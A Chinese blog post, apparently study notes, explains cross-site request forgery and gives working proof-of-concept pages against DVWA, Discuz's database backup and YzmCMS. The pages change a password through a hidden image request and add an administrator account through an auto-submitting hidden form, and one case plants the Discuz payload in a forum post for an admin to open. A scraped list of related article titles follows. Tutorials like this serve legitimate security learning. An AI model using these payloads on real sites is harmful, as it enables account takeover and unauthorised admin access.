苏醒的巨人----CSRF
一.CSRF
跨站请求伪造(Cross-Site Request Forgery,CSRF)是指利用
受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点
击恶意链接或者访问包含攻击代码的页面,在受害人不知情的
情况下以受害者的身份向(身份认证信息所对应的)服务器发
送请求,从而完成非法操作(如转账、改密等)
1.可能出现的地方
所有的业务点都需要进行测试
1. 转账
2. 修改密码
3. 个人资料
4. 登陆
5. 加购物车、收藏商品
6. 开通业务
…
2.CSRF漏洞挖掘
csrf感觉好高级的漏洞,有点似懂非懂,还得沉淀,只能照抄老师的方法,等挖到才能自己整理好思路。





二.几个案例
(1).dvwa,级别low
抓一个包,

get方式,只要把url给管理员打开就能修改他的密码。构造get网页
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
</head>
<body>
<img src="http://test.com/dvwa/vulnerabilities/csrf/?password_new=111&password_conf=111&Change=Change" border="0" style="display: none;">
<h1>404</h1>
<h2>page not found</h2>
</body>
</html>
打开这个页面,密码就会修改
(1). discuz cms 数据库备份csrf
通过双重认证

抓备份数据库的包

第一个数据包为假的,过掉
http 参数污染

在这构造

csrf请求
http://test.com/dz/uc_server/admin.php?m=db&a=operate&t=export&appid=1&backupdir=backup_180504_9dJ7cL
http://test.com/dz/uc_server/admin.php?m=db&a=operate&t=export&appid=1&backupdir=sss&backupfilename=ldx
--还要将最后面的&与=URL编码一下
http://test.com/dz/uc_server/admin.php?m=db&a=operate&t=export&appid=1&backupdir=sss%26backupfilename%3Dldx
然后用普通用户去发帖,把payload放帖子里,让管理员访问触发漏洞

管理员游览后

(3)yzcms 添加管理员csrf
在添加管理员处抓个包

是post请求可以尝试转换get请求
写个post的页面
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
</head>
<body>
<form name="poc" action="http://test.com/yzmcms/index.php/admin/admin_manage/add.html" method="POST" type="hidden">
<input type="hidden" name="adminname" value="ldx" />
<input type="hidden" name="password" value="ldxldx" />
<input type="hidden" name="password2" value="ldxldx" />
<input type="hidden" name="email" value="" />
<input type="hidden" name="realname" value="" />
<input type="hidden" name="roleid" value="1" />
<input type="hidden" name="dosubmit" value="1" />
<input type="submit" value="Submit request" style="display: none;" />
</form>
</body>
<script>poc.submit();</script>
</html>


成功添加用户

苏醒的巨人----CSRF的更多相关文章
- 关于CSRF的那点事儿
0x01 CSRF简介 CSRF,也称XSRF,即跨站请求伪造攻击,与XSS相似,但与XSS相比更难防范,是一种广泛存在于网站中的安全漏洞,经常与XSS一起配合攻击. 0x02 CSRF原理 ...
- MVC中使用[ValidateAntiForgeryToken]防止CSRF 注入攻击
CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF.通俗的理 ...
- [转]浅谈CSRF攻击方式
在CSDN中看到对CSRF攻击的原理及防护文章,讲解浅显易懂,特转之: 来源:http://blog.csdn.net/fationyyk/article/details/50833620 一.CSR ...
- 浅谈CSRF攻击方式
一.CSRF是什么? CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSR ...
- Web攻防之XSS,CSRF,SQL注入
摘要:对Web服务器的攻击也可以说是形形色色.种类繁多,常见的有挂马.SQL注入.缓冲区溢出.嗅探.利用IIS等针对Webserver漏洞进行攻击.本文结合WEB TOP10漏洞中常见的SQL注入,跨 ...
- CSRF 攻击
一.CSRF是什么? CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSR ...
- Web安全测试之跨站请求伪造(CSRF)篇
跨站请求伪造(即CSRF)被Web安全界称为诸多漏洞中“沉睡的巨人”,其威胁程度由此“美誉”便可见一斑.本文将简单介绍该漏洞,并详细说明造成这种漏洞的原因所在,以及针对该漏洞的黑盒测试与灰盒子测试具体 ...
- CSRF攻击原理以及防御
一.CSRF是什么? CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSR ...
- CSRF(跨站请求伪造)攻击方式
一.CSRF是什么? CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSR ...
随机推荐
- (第二场)A Run 【动态规划】
链接:https://www.nowcoder.com/acm/contest/140/A 题目描述: White Cloud is exercising in the playground.Whit ...
- 5.spring:注解配置 Bean
在classpath中扫描组件 组键扫描:能够从classpath下自动扫描,侦测和实例化具有特定注解的组件 特定的组件包括: ->@Componment:基于注解,标识一个受Spring管理的 ...
- 二. Python WebDriver环境搭建
1. 安装Selenium 在命令行中输入: 显示安装成功: 2. 测试例子 打开百度页面并在输入框输入搜索内容(默认为firework) # 1. Selenium默认为Firefox.验证 fro ...
- easyui分页的使用方法
使用: $("#tt").datagrid("getPager").pagination(option); 例子: $("#tb").dat ...
- 创建blob地址
aa="121" "121" b=new Blob([aa]) Blob(3) {size: 3, type: ""} window.URL ...
- FactoryBean的实现原理与作用
FactoryBean与BeanFactory: 这俩货在拼写上很是相似,很多同学在看IOC源码或者其他地方并不能分清有啥区别,前面的IOC源码中我简单说过,现在统一简单来讲一下: FactoryBe ...
- Redis(RedisTemplate)使用string字符串
RedisTemplate配置:https://www.cnblogs.com/weibanggang/p/10188682.html ApplicationContext applicationCo ...
- OC和C语言比较
说明:比较记忆相对来说更容易熟练记得牢固,理解了C语言相对来说OC也不太难,OC是C语言的扩展,向下兼容C语言. 源文件后缀名比较 1.C语言源文件 .h:头文件 .c:源文件 .o:目标文件 .ou ...
- Knowledge Point 20180308 Dead Code
不知道有没有前辈注意过,当你编写一段“废话式的代码时”会给出一个Dead Code警告,点击警告,那么你所写的废物代码会被编译器消除,那么如果你不理睬这个警告呢?编译后会是什么样的呢?下面我们写点代码 ...
- javascript中sort()排序的一些理解
sort()方法对一个数组进行排序,并可以接受一个比较函数,最后返回一个排序的数组. 1.sort()有自身默认的比较函数,该函数把排序的元素都看作字符串. var s = [5, 4, 3, 2, ...